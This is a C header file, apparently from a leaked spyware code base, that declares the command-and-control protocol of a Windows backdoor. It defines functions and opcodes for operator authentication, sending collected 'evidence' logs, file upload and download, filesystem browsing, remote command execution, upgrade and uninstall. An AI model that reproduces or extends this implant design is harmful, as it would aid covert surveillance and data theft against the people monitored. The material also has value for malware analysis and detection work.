hackedteam/core-win32

View on GitHub
ASP.h

Summary

Maintainability
Test Coverage
// Struttura di un elemento per il filesystem browsing
typedef struct {
    DWORD depth;
    WCHAR *start_dir;
} fs_browse_elem;

// Funzioni esportate
extern BOOL ASP_Start(char *, char *);
extern void ASP_Stop(void);
extern void ASP_Bye(void);
extern BOOL ASP_Auth(char *, BYTE *, char *, BYTE *, DWORD *);
extern BOOL ASP_Id(WCHAR *, WCHAR *, long long *, DWORD *, DWORD);
extern BOOL ASP_GetUpload(BOOL, WCHAR *, DWORD, DWORD *);
extern BOOL ASP_GetDownload(DWORD *, WCHAR ***);
extern BOOL ASP_SendLog(char *, DWORD);
extern BOOL ASP_ReceiveConf(char *);
extern BOOL ASP_GetFileSystem(DWORD *, fs_browse_elem **);
extern BOOL ASP_GetCommands(DWORD *, WCHAR ***);
extern BOOL ASP_SendStatus(DWORD log_count, UINT64 log_size);
extern BOOL ASP_HandlePurge(long long *purge_time, DWORD *purge_size);

// Valori di ritorno della funzione ASP_Poll()
#define ASP_POLL_FETCHING 0
#define ASP_POLL_DONE 1
#define ASP_POLL_ERROR 2

// Comandi del protocollo
#define INVALID_COMMAND         (UINT)0x0       // Non usare
#define PROTO_OK                (UINT)0x1       // OK
#define PROTO_NO                (UINT)0x2       // Richiesta senza risposta
#define PROTO_BYE               (UINT)0x3       // Chiusura di connessione
#define PROTO_CHALLENGE         (UINT)0x4       // Autenticazione
#define PROTO_ID                (UINT)0xf       // Identificazione    
#define PROTO_NEW_CONF          (UINT)0x7       // Nuova configurazione
#define PROTO_UNINSTALL         (UINT)0xa       // Disinstallazione
#define PROTO_DOWNLOAD          (UINT)0xc       // DOWNLOAD, restituisce la lista dei nomi(in WCHAR, NULL terminati)
#define PROTO_UPLOAD            (UINT)0xd       // UPLOAD, restituisce la lista di coppie: nome,directory.
#define PROTO_LOG               (UINT)0x09      // Spedisce un evidence
#define PROTO_UPGRADE           (UINT)0x16      // Riceve un upgrade
#define PROTO_FILESYSTEM        (UINT)0x19      // Riceve le richieste relative al filesystem
#define PROTO_LOGSTATUS         (UINT)0x0b      // Invia il numero e la size dei log da spedire
#define PROTO_PURGE                (UINT)0x1a        // Elimina i file di log vecchi o troppo grossi
#define PROTO_COMMANDS            (UINT)0x1b        // Esecuzione diretta di comandi

// Strutture inviate o ritornate via IPC al core
typedef struct {
    DWORD server_addr;
    DWORD server_port;
} asp_reply_setup;

typedef struct {
    DWORD upload_left;
    WCHAR file_name[MAX_PATH];
} asp_reply_upload;

typedef struct {
    char backdoor_id[32];
    BYTE instance_id[20];
    char subtype[16];
    BYTE conf_key[16];
} asp_request_auth;

typedef struct {
    WCHAR username[80];
    WCHAR device[80];
} asp_request_id;

typedef struct {
    WCHAR file_name[MAX_PATH];
    DWORD byte_per_second;
} asp_request_log;

#pragma pack(4)
typedef struct {
    DWORD log_count;
    UINT64 log_size;
} asp_request_stat;

typedef struct {
    long long purge_time;
    DWORD purge_size;
} asp_reply_purge;
#pragma pack()

typedef struct {
    WCHAR conf_path[MAX_PATH];
}asp_request_conf;